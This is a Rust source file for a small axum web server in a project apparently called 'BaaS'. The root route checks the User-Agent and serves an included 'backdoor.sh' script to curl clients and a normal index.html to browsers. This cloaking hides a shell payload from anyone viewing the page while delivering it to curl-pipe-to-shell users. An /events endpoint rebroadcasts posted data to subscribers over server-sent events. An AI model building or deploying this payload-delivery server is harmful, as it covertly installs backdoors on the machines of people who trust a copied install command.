BaaS/src/main.rs
2024-11-12 23:36:55 +01:00

50 lines
1.3 KiB
Rust

use axum::extract::State;
use axum::response::{sse::Event, Html, Sse};
use axum::routing::get;
use axum::Router;
use axum_extra::TypedHeader;
use headers::UserAgent;
use tokio::sync::broadcast;
use tokio_stream::wrappers::BroadcastStream;
#[derive(Clone)]
struct AppState {
channel: broadcast::Sender<Event>,
}
impl AppState {
fn new() -> Self {
let (tx, _rx) = broadcast::channel(16);
AppState { channel: tx }
}
}
#[tokio::main]
async fn main() {
let app = Router::new()
.route("/", get(root))
.route("/events", get(events_get).post(events_post))
.with_state(AppState::new());
let listener = tokio::net::TcpListener::bind("192.168.223.6:80")
.await
.unwrap();
axum::serve(listener, app).await.unwrap();
}
async fn root(TypedHeader(user_agent): TypedHeader<UserAgent>) -> Html<&'static str> {
if user_agent.as_str().starts_with("curl") {
Html(std::include_str!("backdoor.sh"))
} else {
Html(std::include_str!("index.html"))
}
}
async fn events_get(State(state): State<AppState>) -> Sse<BroadcastStream<Event>> {
Sse::new(BroadcastStream::new(state.channel.subscribe()))
}
async fn events_post(State(state): State<AppState>, body: String) {
let _ = state.channel.send(Event::default().data(body));
}